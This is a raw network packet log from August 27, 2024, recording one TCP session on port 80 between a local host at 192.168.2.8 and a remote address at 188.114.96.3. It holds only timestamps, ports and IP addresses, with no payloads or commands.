Aug 27, 2024 09:49:35.809003115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809005976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809015036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809024096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809030056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809048891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809221983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809235096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809246063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809282064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809304953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809353113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809365034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809377909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809390068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809403896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809427977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809510946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809528112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809540033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809551954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809565067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809571981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809576035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809587955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809592009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809600115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809611082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.809613943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.809628010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.851783991 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.890045881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890074968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890086889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890100002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890113115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890126944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890141010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890153885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890194893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.890254021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890271902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890285969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890304089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890326977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.890347958 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.890422106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890439987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890445948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890451908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890463114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890474081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890487909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890502930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890516043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.890552998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.890719891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890886068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890897989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890908957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890923023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890930891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.890934944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890945911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890953064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.890959024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890969992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890979052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.890983105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.890999079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891006947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891022921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891031027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891041994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891052008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891071081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891072035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891086102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891094923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891098022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891109943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891120911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891125917 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891134024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891145945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891150951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891158104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891169071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891205072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891325951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891336918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891371012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891480923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891493082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891505957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891519070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891530991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891531944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891542912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891556025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891558886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891572952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891582012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891588926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891599894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891612053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891623974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891624928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891637087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891652107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891670942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891851902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891864061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891875982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891892910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891906977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.891907930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891916990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.891952038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892143965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892162085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892173052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892184973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892196894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892208099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892208099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892220020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892230988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892231941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892247915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892247915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892260075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892277956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892288923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892299891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892313004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892329931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892330885 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892343044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892354012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892359018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892365932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892378092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892385006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892398119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892412901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892431974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892636061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892750025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892762899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892775059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892787933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892793894 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892800093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892811060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892817974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892823935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892838001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892879963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892893076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892904043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892913103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892915964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892927885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892934084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892940044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892951965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892955065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892970085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892970085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.892982006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.892998934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893011093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893018961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.893023014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893039942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.893064976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.893362999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893374920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893385887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893399000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893412113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893423080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893424988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.893435955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893444061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.893450022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893459082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.893460035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.893485069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.945506096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977015018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977056026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977066994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977161884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977174997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977186918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977210999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977257013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977328062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977339983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977355957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977374077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977375031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977390051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977401018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977412939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977413893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977426052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977437973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977440119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977449894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977459908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977463007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977472067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977483034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977488041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977498055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977509022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977519989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977524996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977531910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977550030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977550983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977571964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977590084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977643013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977653980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977664948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977678061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977689028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977690935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977711916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977864981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977875948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977886915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977896929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977902889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977909088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977919102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977924109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977936983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977946997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.977948904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977961063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.977983952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978003025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978182077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978199959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978210926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978224039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978235960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978246927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978250980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978257895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978271008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978282928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978295088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978332043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978353977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978503942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978516102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978526115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978537083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978549957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978562117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978574038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978584051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978598118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978607893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978621960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978646994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978826046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978837967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978847980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978859901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978873968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978883028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978884935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978898048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978900909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978914022 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978919983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978931904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978940964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978951931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.978952885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978966951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978977919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.978988886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979000092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979011059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979022026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979033947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979043007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.979046106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979063988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979068995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.979099989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.979396105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979408026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979424953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979437113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979448080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979465008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979475975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979486942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979499102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979511023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.979511023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979523897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979535103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979541063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.979546070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979562044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.979577065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.979938030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979949951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979960918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979973078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979990005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.979999065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.980001926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980014086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980021000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.980025053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980036020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980040073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.980047941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980056047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.980060101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980071068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980074883 CEST	49715	80	192.168.2.8	188.114.96.3
